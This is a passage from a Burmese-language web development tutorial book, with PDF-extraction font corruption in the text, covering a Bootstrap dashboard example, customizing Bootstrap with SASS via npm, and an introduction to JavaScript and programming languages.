</tr>
<tr>

<td>1</td>
<td>20-30</td>
<td>19%</td>
<td>

<i class="fas fa-chart-pie"></i>
</td>

</tr>
<tr>

<td>2</td>
<td>30-40</td>
<td>40%</td>
<td>

<i class="fas fa-chart-bar"></i>
</td>

</tr>
<tr>

<td>3</td>
<td>40-50</td>
<td>20%</td>
<td>

<i class="fas fa-chart-line"></i>
</td>

</tr>
<tr>

<td>4</td>
<td>>50</td>
<td>11%</td>
<td>

<i class="fas fa-chart-pie"></i>
</td>

</tr>
</table>

</div>
</div>

</div>
</div>

သ့ူမှာလည်း  flex-column နဲ့  flex-lg-row ကိုတွဲပြပီး  Responsive  လုပ်dဆာင်ချက် ထည့်ထားပါ
တယ်။ Component အdနနဲ့ dရှ့ နမူနာမှာ မdgပာခဲ့တာdလးတစ်ခု ပါdနပါတယ်။ Progress Component
ပါ။  Progress  ဆိုတာ  အလုပ်တစ်ခုခုလုပ်dနစဉ်  ပြပီးစီးမှုအdgခအdနကို  gပတဲ့  Component  ဆိုdတာ့
JavaScript နဲ့တွဲမသံုးရင် သိပ်အဓိပ္ပါယ်မရှိလ့ုိ ထည့်မdgပာခဲ့တာပါ။ ဒီdနရာမှာdတာ့ အသွင်အgပင်doာ်gပပံု
အရ သင့်dတာ်dနလ့ုိ ထည့်သံုးထားပါတယ်။ dရးနည်းကမခက်ပါzူး။ ဒီလုိပါ –
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 HTML 
<div class="progress">

<div class="progress-bar bg-danger"></div>
</div>

ပင်မ  Element  ကို  progress လ့ုိdပးပြပီး အထဲမှာ  progress-bar ထည့်dပးလုိက်ယံုပါzဲ။  Bar  ရဲ့
အdရာင်ကိုသာ  ကိုယ်လုိချင်တဲ့  bg-{color} နဲ့  တွဲသံုးရတာပါ။  Bar ရဲ့  အgမင့်နဲ့အရှည်အတွက်
width, height Property dတွကိုသံုးပြပီး ကိုယ်လုိသdလာက် dပးထားလ့ုိရပါတယ်။

ဒီ  Row  ထဲမှာ  Card  နှစ်ခုပါပြပီး  တစ်ခုနဲ့တစ်ခု  ညီdစoို့အတွက်  Inline Style  ကိုသံုးပြပီး  height dတွ
သတ်မှတ်dပးတာကို  သတိgပုပါ။ ပြပီးdတာ့  Progress Bar  dတွကို  ပါးပါးdလးပဲ dပါ်dစချင်လ့ုိ  height
dတွသတ်မှတ်dပးထားပါတယ်။ Width အတွက်dတာ့ w- Utility Class dတွကိုသံုးထားပါတယ်။

အားလံုးစုံသွားပါပြပီ။ dအာက်ဆုံးမှာ Footer dလးတစ်ခုအခုလုိထပ်ထည့်dပးလုိက်ပါ။

 HTML 
<footer class="text-center py-4 text-muted">

&copy; Copyright 2020
</footer>

အခုဆိုရင်ကျွန်dတာ်တို့  နမူနာလုပ်eကည့်ချင်တဲ့  Admin Dashboard UI  dလး gပည့်စုံသွားပါပြပီ။  အခုdန
စမ်းeကည့်ရင်ရမယ့် dနာက်ဆုံးရလဒ်ကdတာ့ ဒီလုိgoစ်မှာပါ။
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ဟိုးအdပါ်မှာလည်း ရမယ့်ရလဒ်ကို ကြကိုgပခဲ့ပြပီးသားပါ။ Responsive လုပ်dဆာင်ချက် တစ်ခါထဲ ထည့်ထား
လ့ုိ Screen Size ကို dgပာင်းပြပီးdတာ့လည်း စမ်းeကည့်နိုင်ပါတယ်။

ဒီနမူနာdလးကို  လုပ်eကည့်လုိက်တဲ့အတွက်  Bootstrap  ရဲ့လုပ်dဆာင်ချက်dတွကို  နားလည်ယံုသာမက
လက်dတွ့အသံုးချတဲ့ အdလ့အကျင့်dလး တစ်ခုကိုပါ ရရှိသွားလိမ့်မယ်လ့ုိ dမျှာ်လင့်ပါတယ်။

dရးသားထားပြပီးကုဒ်နမူနာကို Download ရယူလုိရင်dတာ့ ဒီလိပ်စာမှာ ရယူနိုင်ပါတယ်။

- https://github.com/eimg/bootstrap-book

https://github.com/eimg/bootstrap-book
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 အခန်း (၁၀) – Customizing Bootstrap

လက်ရှိမှာ  Component  dတွ  Layout  dတွကို  အသုံးgပုတဲ့အခါ  Bootstrap  ကdပးထားတဲ့အတိုင်း
အသံုးgပုdနgခင်း goစ်ပါတယ်။ အကယ်၍များ ဆန္ဒရှိတယ်ဆိုရင်  Bootstrap  ကို  ကိုယ့်စိတ်တိုင်းကျလည်း
Customize လုပ်ထားလ့ုိ ရနိုင်ပါတယ်။ SASS နည်းပညာကို အသံုးgပုပြပီး Customize လုပ်ရတာပါ။

ဒီdနရာမှာ SASS အdeကာင်း အပါအဝင် Customize လုပ်ပုံ အdသးစိတ်ကို ထည့်သွင်းမdoာ်gပနိုင်dပမယ့်၊
Bootstrap ကို Customize လုပ်ချင်ရင် zယ်လုိလုပ်ရသလဲဆိုတာ စာoတ်သူdတွအုိင်ဒီယာရdစo့ုိအတွက်
အကျဉ်းdလာက်dတာ့ ထည့်သွင်းdoာ်gပချင်ပါတယ်။ ကြကိုးစားပြပီး လုိက်လုပ်eကည့်ပါ။

Step-1 – Install Node
ပထမဆုံးအdနနဲ့  Node  ကို  Install  လုပ်ထားoို့လုိပါလိမ့်မယ်။  ပdရာZျက်တည်dဆာက်တာdတွ  SASS
ကုဒ်dတွကို  CSS  ကုဒ်goစ်dအာင်  Compile  လုပ်တာdတွကို  Node  ကdနတစ်ဆင့်  လုပ်ရမှာမ့ုိလုိ့ပါ။  ဒီ
လိပ်စာမှာ Download လုပ်လုိ့ရနိုင်ပါတယ်။

- https://nodejs.org

Download  လုပ်ပြပီးရင်  Install  လုပ်လုိက်ပါ။  Install  လုပ်ပြပီးသွားတဲ့အခါ  Node  နဲ့အတူ  NPM  လ့ုိdခါ်တဲ့
နည်းပညာ တစ်ခါထဲ ပါဝင်သွားပါလိမ့်မယ်။ NPM အdeကာင်း အကျဉ်းချုပ်ကို dရှ့ ပုိင်းမှာdgပာထားပြပီးသား
ပါ။ dနာက်အပိုင်းdတွမှာလည်း ဆက်လက်doာ်gပပါဦးမယ်။ ဒီdနရာမှာdတာ့ လုိအပ်တဲ့ Command တစ်ခု
နှစ်ခုကိုပဲ dရးွeကည့်ချင်ပါတယ်။

https://nodejs.org/
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Step-2 – Create Project Folder
ပdရာZျက်oုိဒါတစ်ခုကို မိမိနှစ်သက်ရာအမည်နဲ့dဆာက်လုိက်ပါ။ ဥပမာ - theme ဆိုeကပါစို့။ ပြပီးတဲ့အခါ
အထဲမှာ  scss နဲ့  css ဆိုတဲ့  oုိဒါနှစ်ခုတည်dဆာက်လုိက်ပါ။  index.html oုိင်ကို  အgပင်မှာ
တည်dဆာက်ပြပီး  custom.scss အမည်နဲ့oုိင်တစ်ခုကို  scss oုိဒါထဲမှာ  တည်dဆာက်လုိက်ပါ။
oဲွ့စည်းပံုက ဒီလုိပါ။

theme/
    |- css/
    |- scss/
    |    |- custom.scss
    |- index.html

Step-3 – Install Bootstrap & SASS
တည်dဆာက်ထားတဲ့ ပdရာZျက်oုိဒါထဲမှာ Command Prompt (သ့ုိ) Terminal ကိုoွင့်လုိက်ပါ။ ပြပီးရင် ဒီ
Command ကို Run dပးပါ။

npm init -y

ဒါဟာ လက်ရှိပdရာZျက်oုိဒါကို NPM ပdရာZျက်goစ်dအာင် dgပာင်းလုိက်တာပါ။ ပြပီးတဲ့အခါ ဒီ Command
နဲ့ Bootstrap dရာ SASS ကိုပါ Install လုပ်လုိက်ပါ။

npm install bootstrap sass

အခုချနိ်မှာ ပdရာZျက်oုိဒါရဲ့ oဲွ့စည်းပုံက ဒီလိုgoစ်dနပါလိမ့်မယ်။

theme/
    |- node_modules/
    |    |- bootstrap/
    |    |- sass/
    |- css/
    |- scss/
    |    |- custom.scss
    |- index.html
    |- package.json
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package.json ဆိုတဲ့  oုိင်ဟာ  npm  init ကို  Run  လုိက်လ့ုိ  ပါဝင်သွားတဲ့oုိင်goစ်ပြပီး  npm
install နဲ့  Install  လုပ်လုိက်တဲ့  Bootstrap  နဲ့  SASS  တို့ကdတာ့  node_modules ဆိုတဲ့oုိဒါထဲကို
dရာက်ရှိသွားgခင်းgoစ်ပါတယ်။ ဒါဆိုရင် Bootstrap ကို စတင် Customize လုပ်o့ုိအတွက် အသင့်goစ်ပါပြပီ။

Step-4 – Writing Customization Code
scss/custom.scss oုိင်ကိုoွင့်ပြပီး အခုလုိdရးdပးလုိက်ပါ။

 SCSS 
$enable-rounded: false;
$primary: #6610f2;
$secondary: #d63384;
$success: #20c997;
$warning: #fd7e14;
@import "../node_modules/bootstrap/scss/bootstrap";
.note {

margin: $spacer 0;
padding: $spacer;
border: 1px solid $warning;
border-left: 5px solid $warning;

}

Bootstrap က အလွယ်တစ်ကူgပင်လ့ုိရdအာင် ကြကိုdရးdပးထားတဲ့ Variable dတရွှိပါတယ်။ အ့ဲဒီ Variable
dတွထဲက  $enable-rounded ဆိုတဲ့  Variable  တန်oုိးကို  false လ့ုိdပးလုိက်တဲ့အတွက်၊  Button
dတွ  List Group dတွ  Card dတွမှာ dထာင့်dကွးdလးdတွ မပါdတာ့zဲ ရိုးရိုးdလးdထာင်နဲ့ပဲ doာ်gပdပး
dတာ့မှာပါ။

ပြပီးတဲ့အခါ  Color  Variable  dတွကိုလည်း  ကိုယ်ကြကိုက်တဲ့အdရာင်နဲ့  dgပာင်းdပးထားပါတယ်။
$primary ဟာ  မူလက  အgပာdရာင်ပါ။  အခုdတာ့  ခရမ်းdရာင်နဲ့  dgပာင်းdပးထားပါတယ်။
$secondary ဟာ  မူလက  မိှန်တဲ့အdရာင်ပါ။  အခုdတာ့  ပန်းdရာင်နဲ့  dgပာင်းdပးထားပါတယ်။
$success ကိုလည်း မတူကွဲgပားတဲ့ အစိမ်းdရာင်တစ်မျ ို းနဲ့ dgပာင်းထားပြပီး $warning ကို အဝါအစား
လိdမ°ာ်dရာင်နဲ့ အစားထုိးထားပါတယ်။  Color  ကုဒ်dတွdနရာမှာ ကိုယ်ကြကိုက်တဲ့အdရာင်ကို ကိုယ်ကြကိုက်
တဲ့ Format နဲ့dပးနိုင်ပါတယ်။



PWD 2022 –  အခန်း (၁၀) – Customizing Bootstrap 191

ပြပီးတဲ့အခါ @import နဲ့ ပင်မ Bootstrap SCSS Source Code ကို ချတိ်ယူထားပါတယ်။ ဒီdတာ့မှ ဒီoုိင်
ကို  CSS  dgပာင်းလုိက်ရင်  မူလ  Bootstrap  SCSS  ကုဒ်dတွကို  ကိုယ်goည့်dရးdပးထားတဲ့  ကုဒ်dတွနဲ့
dပါင်းစပ်dပးသွားမှာပါ။ Bootstrap Variable တန်oုိးdတွကို dgပာင်းချင်ရင် Import မလုပ်ခင် dရးdပးရပါ
တယ်။ Import လုပ်ပြပီးမှ ဆက်dရးထားတဲ့ ကုဒ်dတကွdတာ့ Bootstrap ကို gပင်တာ မဟုတ်dတာ့zဲ ကို
ယ့်zာသာ ထပ်goည့်ထားတဲ့ လုပ်dဆာင်ချက်dတွပါ။ 

နမူနာမှာ  note Class  အတွက်  Style  တစ်ချ ို ့dရးထားdပးပါတယ်။  $spacer ဆိုတာ  Bootstrap
Variable ပါပဲ။ Default Value 1rem လ့ုိ သတ်မှတ်ထားပါတယ်။ ဆန္ဒရှိရင် gပင်လ့ုိရပါတယ်။ အခုက၊ gပင်
ထားတာ မဟုတ်ပါzူး။  ယူသံုးထားတာပါ။  note Component  အတွက်  margin နဲ့  padding ကို
$spacer ရဲ့တန်oုိးအတိုင်းပဲ ယူလုိက်တာပါ။ ဒါdeကာင့်dနာက်ပုိင်း $spacer တန်oုိးdgပာင်းလိုက်ရင် ဒီ
တန်oုိးdတွလည်း လုိက်dgပာင်းသွားမှာပါ။

dတာ်ပါပြပီ။  နမူနာအdနနဲ့  ဒီdလာက်ပဲ စမ်းမှာပါ။ တစ်ကယ်တမ်း လုပ်မယ်ဆိုရင်dတာ့ လုပ်လို့ရတာdတွ
အများကြကီးပါ။ dနာက် အသင့်goစ်ပြပီဆိုdတာ့မှ Bootstrap Documentation မှာ ဆက်dလ့လာလုိက်ပါ။

Step-5 – Compiling and Using
dရးထားတဲ့  Custom  SCSS  ကုဒ်dတွကို  CSS  dgပာင်းeကပါမယ်။  ဒါdeကာင့်  ပdရာZျက်oုိဒါထဲမှာ  ဒီ
Command ကို Run dပးပါ။

npx sass scss/custom.scss css/custom.css

sass ကိုအသံုးgပုပြပီး  scss oုိဒါထဲမှာရှိတဲ့  custom.scss oုိင်ကို  css oုိဒါထဲမှာ custom.css ဆို
တဲ့အမည်နဲ့  Compile  လုပ်dပးသွားမှာgoစ်ပါတယ်။  ပြပီးသွားရင်  custom.css oုိင်ကိုoွင့်eကည့်နိုင်ပါ
တယ်။ အထဲမှာ Bootstrap CSS ကုဒ်dတွပါဝင်တာကို dတွ့ရပါလိမ့်မယ်။ ထူးgခားသွားတာက ကျွန်dတာ်
တို့  gပုgပင်goည့်စွက်ပြပီး  dရးdပးလုိက်တဲ့  ကုဒ်dတွပါ  dရာပါသွားတာမ့ုိလို့  အခုdန  အသံုးgပုရင်  gပုgပင်
goည့်စွက် ထားတဲ့အတိုင်း ရရှိမှာgoစ်ပါတယ်။

စမ်းသပ်နိုင်o့ုိအတွက် index.html ထဲမှာ အခုလုိdရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။
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 HTML 
<!DOCTYPE html>
<html lang="en">
<head>

<meta charset="UTF-8">
<meta name="viewport" 

           content="width=device-width, initial-scale=1.0">
<title>Theme</title>
<link rel="stylesheet" href="css/custom.css">

</head>
<body>

<div class="container">
<div class="note">This is a custom note component</div>
<button class="btn btn-primary">Primary</button>
<button class="btn btn-secondary">Secondary</button>
<button class="btn btn-success">Success</button>
<button class="btn btn-warning">Warning</button>

</div>
</body>
</html>

<link> နဲ့ချတိ်ထားတာ Bootstrap မဟုတ်dတာ့ပါzူး။ css ထဲက custom.css goစ်သွားပါပြပီ။ စမ်း
eကည့်လိုက်ရင် ရလဒ်က အခုလုိgoစ်မှာပါ။
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goည့်စွက်ထည့်သွင်းထားတဲ့  note Component  အလုပ်လုပ်dနတာကိုdတွ့ရမှာ goစ်သလို  primary,
secondary, success, warning  စတဲ့  Color dတွကလည်း gပုgပင်dပးလိုက်တဲ့အတိုင်း doာ်gပ
dနတာကို  dတွ့ရမှာ  goစ်ပါတယ်။  Button  dတွမှာ  Rounded  Corner  dလးdတွမပါdတာ့zဲ  လံုးဝ
dလးdထာင့် goစ်dနတာကိုလည်း သတိgပုပါ။

ဒီနည်းနဲ့  Bootstrap ကို  Customize လုပ်ထားgခင်းအားgoင့် အများနဲ့မတူ ကွဲgပားတဲ့ အသွင်အgပင်dတွကို
ရရှိနိုင်ပါတယ်။ ဒီနည်းကိုသံုးပြပီး ကြကိုdရးdပးထားတဲ့ Bootstrap Themes dတွလည်းအများအgပား ရှိdနပါ
တယ်။  တစ်ချ ို ့က  အခdပး  Themes  dတွgoစ်ပြပီး  တစ်ချ ို ့ကdတာ့  အခမ့ဲရတဲ့  Themes  dတွပါ။  ရှာdoွ
dလ့လာပြပီး အသုံးgပုeကည့်သင့်ပါတယ်။

ဒီdလာက်ဆိုရင်  အdတာ်dလးလည်းစုံသွားပြပီမ့ုိလ့ုိ  dနာက်တစ်ပုိင်းမှာ  JavaScript  အdeကာင်းကို
ဆက်လက် dလ့လာသွားeကမှာပဲ goစ်ပါတယ်။



အပိမေုင်း (၃)
JavaScript
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အခန်း (၁၁) – Programming Language

Programming Language   ဆိုတာဟာ လူ နဲ့ ကွန်ပျူတာရဲ့ eကားထဲက eကားခံzာသာစကား goစ်ပါတယ်  ။
လူdတွကdန့စဉ်သံုး  gမန်မာ၊  အZ[လိပ်  စတဲ့  zာသာစကားdတွကို  နားလည်အသံုးgပုeကပြပီး  ကွန်ပျူတာ
ကdတာ့ 0 နဲ့  1 dတွ စုoဲွ့ပါဝင်တဲ့  Binary System dခါ် zာသာစကားကိုသာ နားလည်အသံုးgပုပါတယ်။
ဒါdeကာင့်  ကွန်ပျူတာကို  ညွှန်eကားချက်dတွ  dပးပြပီး  လုိသလုိdစခိုင်းလုိရင်  ကွန်ပျူတာနားလည်တဲ့
zာသာစကားကို  အသံုးgပု dစခိုင်းရမှာပါ။ လူdတွအတွက် ကွန်ပျူတာနားလည်တဲ့  Binary System  ကို
တိုက်ရိုက် အသံုးgပုo့ုိ ခက်ခဲလွန်းပါတယ်။ အဆင်မdgပပါzူး။ ဒါdeကာင့်  Programming Language dခါ်
eကားခံzာသာစကားdတွကို  တီထွင်ပြပီး  ကွန်ပျူတာကို  ညွှန်eကားdစခိုင်းeကgခင်းပဲ  goစ်ပါတယ်။
Programming Language dတွကို အသုံးgပုပြပီး ကွန်ပျူတာကို ညွှန်eကားတဲ့ ကုဒ်dတွ dရးသားတဲ့လုပ်ငန်း
ကို ပရိမေုဂ@�်း�င်း လ့ုိdခါ်ပြပီးdတာ့၊ ဒီလုိdရးသားနိုင်သူကို ပရိမေုဂ@�်�ာ လ့ုိ dခါ်eကပါတယ်။

Programming Language  dတွကို အသုံးgပုdရးသားထားတဲ့ ညွှန်eကားချက်dတွကို ကွန်ပျူတာနားလည်
တဲ့  zာသာစကား goစ်dအာင် dgပာင်းလို့ရပါတယ်။ ဒီလုိdgပာင်းတဲ့အခါ  dgပာင်းပံုdgပာင်းနည်း  (၂)  မျ ို းရှိ
တယ်လ့ုိ အeကမ်းoျဉ်းအားgoင့် dgပာနိုင်ပါတယ်။ 

တစ်မျ ို းကdတာ့    Compiler    လ့ုိdခါ်တဲ့  ကြကိုတင်zာသာgပန်တဲ့  စနစ်goစ်ပါတယ်  ။  အZ[လိပ်လုိdရးထားတဲ့
စာတစ်ပုဒ်ရှိတယ်ဆိုeကပါစို့။ zာသာgပန်တဲ့ လူတစ်dယာက်က အ့ဲဒီစာကို ကြကိုတင်zာသာgပန်ပြပီး ဗမာလုိ
dရးထားdပးလိုက်မယ်ဆိုရင်၊  ဗမာလုိoတ်ချင်တဲ့သူက မူလအZ[လိပ်လို  dရးထားတဲ့စာကို  eကည့်စရာမလုိ
dတာ့ပါzူး။  ဗမာလုိ  gပန်ပြပီးသားကို  oတ်လုိက်ယံုပါပဲ။  ဒီလုိစနစ်မျ ို းနဲ့  အလုပ်လုပ်တဲ့  Programming
Language  dတွကို  Compiled  Language  လ့ုိ  dခါ်ပါတယ်။  ထင်ရှားတဲ့  Compiled  Language  dတွ
ကdတာ့  C/C++, Java, Go, Rust  တို့ goစ်ပါတယ်။ ဒီ  Language dတွကိုအသံုးgပုပြပီး ညွှန်eကားချက်ကုဒ်
dတွ dရးပြပီးရင် ကွန်ပျူတာနားလည်တဲ့ ကုဒ်goစ်dအာင် ကြကိုတင်zာသာgပန်စနစ်  Compiler နဲ့  Compile
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လုပ်ပြပီး  dgပာင်းdပးရပါတယ်။ ကွန်ပျူတာက မူရင်းကုဒ်ကို  မသိပါzူး။  Compile  လုပ်ပြပီးdgပာင်းထားတဲ့
သူနားလည်တာကိုသာ တိုက်ရိုက်eကည့်ရှု အလုပ်လုပ်သွားမှာပဲ goစ်ပါတယ်။

dနာက်တစ်မျ ို းကdတာ့    Interpreter    လ့ုိdခါ်တဲ့  တိုက်ရိုက်zာသာgပန်စနစ်  goစ်ပါတယ်  ။  zာနဲ့တူလဲဆို
dတာ့၊ အZ[လိပ်လုိလူတစ်dယာက်က dgပာdနတဲ့အခါ၊ zာသာgပန်တဲ့သူက တိုက်ရိုက် သူdgပာသမျှကို ဗမာ
လုိzာသာgပန်  dgပာgပdပးတဲ့  သdzာမျ ို းနဲ့  တူပါတယ်။  နားdထာင်တဲ့သူက  အZ[လိပ်လုိ  နားမလည်
ရင်dတာင်၊ eကားထဲက zာသာgပန်က တိုက်ရိုက်အသံထွက်gပန်dပးdနလ့ုိ နားလည်သွားတဲ့ သdzာမျ ို းပါ။
ဒီလုိစနစ်မျ ို းနဲ့  အလုပ်လုပ်တဲ့  Programming  Language  dတွကို  Interpreted  Language  လ့ုိ  dခါ်ပါ
တယ်။  Script  Language  လ့ုိလည်း  dခါ်eကပါdသးတယ်။  ထင်ရှားတဲ့  Interpreted  Language  dတွ
ကdတာ့ Python, Ruby, PHP, JavaScript တို့ goစ်ပါတယ်။ ဒီ Language dတွကိုသံုးပြပီး ညွှန်eကားချက်
ကုဒ်dတွdရးdပးလုိက်ရင် ကွန်ပျူတာက အ့ဲဒီကုဒ်ကို နားလည်အလုပ်လုပ်နိုင်ပါတယ်။ သ့ူအလုိအdလျှာက်
နားလည်တာမျ ို းမဟုတ်zဲ eကားထဲက Interpreter က တိုက်ရိုက်zာသာgပန်dပးdနတဲ့အတွက် နားလည်
သွားတဲ့သdzာပဲ goစ်ပါတယ်။

JavaScript
JavaScript  ဟာ  သ့ူအမည်မှာကိုက  Script  ဆိုတဲ့အသံုးအနှုန်းပါdနပြပီး  goစ်ပါတယ်။  Interpreted
Language  တစ်မျ ို း၊  Script  Language  တစ်မျ ို း  goစ်ပါတယ်။  ဒါdeကာင့်  JavaScript  ကို  အသံုးgပုပြပီး
ညွှန်eကားချက်ကုဒ်dတွ dရးdပးလုိက်ရင် ကွန်ပျူတာက နားလည်အလုပ်လုပ်နိုင်ပါတယ်။ အထက်မှာdgပာ
ခဲ့သလုိ တိုက်ရိုက်zာသာgပန်စနစ် Interpreter ရဲ့အကူအညီနဲ့ နားလည်နိုင်တာပါ။

JavaScript  ကို အရင်က Client-side Script  လ့ုိလည်း dခါ်eကပါတယ်။ ဒီdနရာမှာ  Client  dတွ  Server
dတွအdeကာင်းကို  အကျယ်မချဲ့ချင်dသးပါzူး။  လုိရင်းအတိုချုပ်  ဒီလုိမှတ်နိုင်ပါတယ်။  JavaScript  ဟာ
Chrome, Edge, Firefox စတဲ့  Web Browser ထဲမှာ အလုပ်လုပ်တဲ့  Programming Language ပါ။ အ့ဲဒီ
Web Browser  dတွ ကိုယ်တိုင်က  JavaScript  ကုဒ်dတွကို  တိုက်ရိုက်zာသာgပန်dပးနိုင်တဲ့  Interpreter
dတွ goစ်dနတာပါ။ ဒီ  Web Browser  dတဟွာ  Google, Facebook, YouTube  စတဲ့  Server  ကို  ဆက်
သွယ် အလုပ်လုပ်dပးနိုင်တဲ့  Client Software dတွ goစ်eကပါတယ်။ ဒါdeကာင့် Client Software   တစ်မျ ို း  
goစ်တဲ့    Web  Browser    ထဲမှာ  အလုပ်လုပ်တဲ့    Language    goစ်dနလ့ုိ    JavaScript    ကို    Client-side  
Language   လ့ုိ dခါ်gခင်းပဲ goစ်ပါတယ်  ။
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JavaScript  ကို စတင်တီထွင်စဉ်က အ့ဲဒီလို  Client-side Language အdနနဲ့ တီထွင်ခဲ့eကတာပါ။ dနာက်
dတာ့မှ  Node  လ့ုိdခါ်တဲ့  နည်းပညာတစ်မျ ို း  ထွက်dပါ်လာပြပီး  JavaScript  ကုဒ်dတွကို  Browser  မလို
dတာ့zဲ zာသာgပန် အလုပ်လုပ်dပးနိုင်လာတာပါ။

ဒါdeကာင့်ကdန့အချနိ်မှာdတာ့ JavaScript   ဟာ   General Purpose   dခါ် ကဏ္ဍစုံမှာ အသုံးgပုနိုင်တဲ့ စွယ်စုံ  
သံုး   Language   တစ်ခုgoစ်dနပါပြပီ  ။ JavaScript ကိုအသံုးgပုပြပီး Web Application dတွ၊ Mobile App dတွ
Desktop Software dတွ dရးသားoန်တီးလ့ုိ ရပါတယ်။

JavaScript သည် Java �ဟုတ်
ကdန့အချနိ်မှာ ပရိုZရမ်းမင်း ကိုစိတ်ဝင်စားလ့ုိ dလ့လာeကသူအများစု သိeကပြပီး goစ်မယ်လ့ုိ ထင်မိdပမယ့်
သိပ်မသိeကdသးတာdလး တစ်ခရုှိပါdသးတယ်။ Java နဲ့  JavaScript တို့ဟာ ထင်ရှားတဲ့  Programming
Language  dတွ  goစ်eကပါတယ်။  ဒါdပမယ့်  နာမည်အားgoင့်  ဆင်တူdပမယ့်  တစ်ခုနဲ့တစ်ခု  ဆက်စပ်
သက်ဆိုင်gခင်းမရှိတဲ့  သီးgခားနည်းပညာdတွပါ။ အသံုးချတဲ့  နယ်ပယ်dတွလည်း မတူeကပါzူး။  Java  ကို
လုပ်ငန်းသံုးdဆာ့o်ဝဲdတွ  oန်တီးoုိ့နဲ့  Android  App  dတွ  oန်တီးo့ုိအပိုင်းမှာ  ပုိအသံုးများeကပါတယ်။
JavaScript ကိုdတာ့ Web App dတွ oန်တီးo့ုိနဲ့ Web Services dတွ oန်တီးo့ုိ ပုိအသံုးများeကပါတယ်။
Java ဟာ Compiled Language တစ်မျ ို းgoစ်ပြပီး JavaScript ဟာ Interpreted Language တစ်မျ ို းပါ။ ဒီ
dနရာမှာလည်း မတူeကပါzူး။ ပြပီးdတာ့  Java ဟာ Statically Typed သdzာသzာဝ ရှိပြပီး  JavaScript
ကdတာ့  Loosely Typed  သdzာသzာဝရှိပါတယ်။ ဒီသdzာသzာဝdတွ အdeကာင်းကို  Data Types
dတွ အdeကာင်းdgပာရင်းနဲ့ dနာက်ပိုင်းမှာ ဆက်ရှင်းgပသွားမှာပါ။ တgခားကွဲgပားမှုdတွလည်း ကျန်dသးdပ
မယ့်  အခုdနdgပာလုိက်ရင်  အဆင့်dကျာ်သလို  goစ်dနပါလိမ့်မယ်။  ဒါdeကာင့်  လုိရင်းအနှစ်ချုပ်အdနနဲ့
Java နဲ့ JavaScript တို့ဟာ အမည်အားgoင့် ဆင်တူdပမယ့် မတူကွဲgပားတဲ့ သီးgခားနည်းပညာdတွ goစ်eက
တယ် ဆိုတာdလာက်ကိုပဲ မှတ်သားထားdပးပါ။
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ပရိုZရမ်းမင်းကို  dလ့လာတဲ့အခါ  ကိုယ်dရးလုိက်တဲ့ကုဒ်ကို  ကွန်ပျူတာက zယ်လိုနားလည် အလုပ်လုပ်
သွားသလဲဆိုတာကို ပံုdoာ်eကည့်နိုင်စွမ်းရှိoုိ့ အdရးကြကီးပါတယ်။ ဒါအdရးအကြကီးဆုံး လုိအပ်ချက်လုိ့ ဆိုနိုင်
ပါတယ်။ ပံုdoာ်eကည့်တယ် ဆိုတဲ့dနရာမှာ ကိုယ်သံုးdနတဲ့ ကွန်ပျူတာစနစ်ရဲ့ ဟိုးအတွင်းပုိင်း အလုပ်လုပ်
ပံုကို  အdသးစိတ်နားလည်ပြပီး  ပံုdoာ်eကည့်နိုင်ရင်dတာ့  အdကာင်းဆုံးပါပဲ။  ဒါdပမယ့်  လက်dတွ့မှာ
ကွန်ပျူတာစနစ်dတွက  တစ်ခုနဲ့တစ်ခု  မတူeကလုိ့  စနစ်အားလံုးကို  အdသးစိတ်နားလည်ထားo့ုိ  လွယ်
dတာ့မလွယ်ပါzူး။

ဒါdပမယ့် ကိစ္စမရှိပါzူး။ ကွန်ပျူတာစနစ်dတွမှာ   Abstraction   dခါ် အလွှာလိုက် အဆင့်လုိက် ရှိdနeကလ့ုိ  
ကိုယ်ထိdတွ့ရမယ့်အလွှာကို နားလည်ထားရင် ရပါပြပီ။ dနာက်ပိုင်းမှ ကျန်အလွှာdတွကို ထပ်ဆင့်dလ့လာ
သွားeကရမှာပါ။  အdဝးကြကီးမeကည့်ပါနဲ့၊  လူဦးdနှာက်အသိစိတ်ကိုပဲeကည့်ပါ။ လက်dလးတစ်oက်  လှုပ်ရင်
လှုပ်သွားတယ်ဆိုတာကို အသိစိတ်က သိပါတယ်။ ဒါdပမယ့် အ့ဲဒီလက်dလး လှုပ်သွားo့ုိအတွက် အရိုးdတွ၊
ကြွကက်သားdတွ၊ နာဗ်deကာdတွ zယ်လုိdပါင်းစပ် အလုပ်လုပ်သွားသလဲ အတိအကျ မသိပါzူး။ အ့ဲဒီအရိုး၊
ကြွကက်သား၊ နာဗ်deကာdတွ goစ်dပါ်လာo့ုိ oဲွ့စည်းထားတဲ့  အက်တမ်dတွ၊ တစ်ရှူးdတွရဲ့ ပါဝင်မှုoဲွ့စည်းပံု
ကိုလည်း မသိပါzူး။ ဒါdပမယ့် အနည်းဆုံးအdgခခံgoစ်တဲ့ လက်ကdလးလှုပ်သွားရင် လှုပ်တယ်ဆိုတာကို
သိတဲ့ အသိစိတရ်ှိdနတာနဲ့တင် dန့စဉ်ပံုမှန် လှုပ်ရှားသွားနိုင်dနပါပြပီ။ 

ဒီသdzာပါပဲ။  ကွန်ပျူတာရဲ့  ဟိုးအတွင်းပုိင်း  ထရန်စ္စတာdလးdတရွဲ့  အလုပ်လုပ်ပံု၊  CPU Architecture
အdeကာင်း၊ Operating System dတရွဲ့ အလုပ်လုပ်ပံု၊ Compiler/Interpreter dတွရဲ့ အလုပ်လုပ်ပံုအဆင့်
ဆင့်၊ စသည်goင့် သိထားရင်dကာင်းပါတယ်။ ဒါdပမယ့် အနည်းဆုံးအdgခခံgoစ်တဲ့ ကုဒ်dရးထံုးပိုင်းdလာက်
သိထားရင် လုိချင်တဲ့ရလဒ် ရရှိdအာင် အလုပ်လုပ်လုိရ့dနပါပြပီ။ ကျန်အဆင့် ကျန်အလွှာdတွကိုdတာ့ ကိုယ့်
dရးွချယ်မှုdပါ်မူတည်ပြပီး  zယ်အဆင့် zယ်အလွှာထိ ဆက်dလ့လာသွားမလဲဆိုတာ dနာင်မှာ  ဆုံးgoတ်
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dလ့လာသွားeကရမှာပဲ goစ်ပါတယ်။ dရှ့ဆက်doာ်gပတဲ့အခါ ဒီသdzာကို အdgခခံပြပီး ရှင်းလင်းdoာ် gပသွား
မှာပဲgoစ်ပါတယ်။

Variables
Variables ကို gမန်မာလုိ တုိက်ရိုက်gပန်ရင်dတာ့  ကိန်းရှင်လ့ုိ gပန်ရပါမယ်။ dgပာင်းလဲနိုင်dသာ တန်oုိးdပါ့။
မျက်စိထဲမှာ zယ်လုိပံုdoာ်eကည့်ရမလဲဆိုရင်၊ Variable   ဆိုတာ ကွန်ပျူတာ   Memory   dပါ်က နှစ်သက်ရာ  
